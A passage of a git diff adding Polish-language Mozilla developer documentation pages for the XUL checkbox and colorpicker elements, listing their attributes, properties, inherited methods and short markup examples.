href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code>
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/checkbox/index.html b/files/pl/mozilla/tech/xul/checkbox/index.html
new file mode 100644
index 0000000000..3877921bed
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/checkbox/index.html
@@ -0,0 +1,272 @@
+---
+title: checkbox
+slug: Mozilla/Tech/XUL/checkbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/checkbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element, który można włączać i wyłączać. Zazwyczaj jest wyświetlany jako pusty prostokąt, kiedy jest wyłączony i jako prostokąt z zaznaczeniem, kiedy jest włączony. Użytkownik posiada możliwość włączenia stanu pola wyboru poprzez zaznaczenie pudełka myszą. Etykieta, określona atrybutem <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> może być dodana obok pola wyboru. </p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Kontrolki_wej%c5%9bcia">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-checked">checked</a>, <a href="#a-command">command</a>, <a href="#a-crop">crop</a>, <a href="#a-disabled">disabled</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-preference">preference</a>, <a href="#a-tabindex">tabindex</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessKey">accessKey</a>, <a href="#p-accessible">accessible</a>, <a href="#p-checked">checked</a>, <a href="#p-command">command</a>, <a href="#p-crop">crop</a>, <a href="#p-disabled">disabled</a>, <a href="#p-image">image</a>, <a href="#p-label">label</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="Image:XUL_ref_checkbox.png"></div>
+<pre class="eval">&lt;checkbox label="Enable JavaScript" checked="true"/&gt;
+&lt;checkbox label="Enable Java" checked="false"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><p></p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-checked">
+
+<dl><dt> <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy przycisk jest zaznaczony. Konieczne jest ustawienie atrybutu <code><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code></code> na <code>checkbox</code> lub <code>radio</code>, aby zmiana atrybutu <code>checked</code> mogła odnosić jakiekolwiek skutki.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-command">
+
+<dl><dt> <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ustawiony na wartość atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>, obserwowanego przez ten element.
+</dd></dl>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-preference">
+
+<dl><dt> <code id="a-preference"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference">preference</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Łączy dany element z odpowiadającym mu elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>. Atrybut ten ma skutek tylko wewnątrz okna <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. Wartość opcji (z elementu <code>preference</code>) zostanie zaktualizowana zgodnie z wartością własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code> tego elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><p></p><div id="p-accessKey">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessKey">accessKey</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ znak</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code>.</dd>
+</dl></div>
+<div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-checked">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/checked">checked</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-command">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/command">command</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element id</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-image">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/image">image</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URL obrazka</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULCheckboxElement">nsIDOMXULCheckboxElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/colorpicker/index.html b/files/pl/mozilla/tech/xul/colorpicker/index.html
new file mode 100644
index 0000000000..8f82f9096b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/colorpicker/index.html
@@ -0,0 +1,159 @@
+---
+title: colorpicker
+slug: Mozilla/Tech/XUL/colorpicker
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/colorpicker
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Paleta kolorów, z której użytkownik może wybrać jedną komórkę siatki z kolorem poprzez kliknięcie w nią.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>, <a href="#a-color">color</a>, <a href="#a-onchange">onchange</a>, <a href="#a-preference">preference</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-type">type</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-color">color</a>, <a href="#p-disabled">disabled</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p><img alt="grafika:XUL_REF_rgb.gif">
+</p>
+<pre>&lt;colorpicker type="button"/&gt;
+</pre>
+<h3 id="Atybuty" name="Atybuty"> Atybuty </h3>
+<p>
+</p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-color">
+
+<dl>
+ <dt>
+ <code id="a-color"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/color">color</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kolor jako łańcuch znaków</i>
+ </dd>
+ <dd>
+ Aktualnie wybrany kolor. Ulega modyfikacji kiedy użytkownik zaznaczy inną wartość koloru. Łańcuch znaków koloru przydzielamy w formie #RRGGBB do tej własności, aby zmienić wybrany kolor.</dd>
+</dl>
+</div>
+<div id="a-onchange">
+
+<dl><dt> <code id="a-onchange"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onchange">onchange</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> Kod w atrybucie <code>onchange</code> jest wywołany, kiedy wartość elementu jest zmieniana.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-preference">
+
+<dl><dt> <code id="a-preference"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference">preference</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Łączy dany element z odpowiadającym mu elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>. Atrybut ten ma skutek tylko wewnątrz okna <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. Wartość opcji (z elementu <code>preference</code>) zostanie zaktualizowana zgodnie z wartością własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code> tego elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-colorpicker.type">
+
+<dl><dt> <a href="pl/XUL/Atrybut/colorpicker.type">type</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Jeśli ten atrybut nie jest prezentowany, to colorpicker jest wyświetlony wewnątrz okna. Jeśli jest ustawiony w tekście przycisku (<code>button</code>), to colorpicker jest wyświetlony jako przycisk. Kiedy użytkownik naciśnie przycisk, pojawi się okienko popup, z którego użytkownik może wybrać kolor. </dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-color">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/color">color</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kolor jako łańcuch znaków</i>
+ </dd>
+ <dd>
+ Aktualnie wybrany kolor. Ulega modyfikacji kiedy użytkownik zaznaczy inną wartość koloru. Łańcuch znaków koloru przydzielamy w formie #RRGGBB do tej własności, aby zmienić wybrany kolor.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, 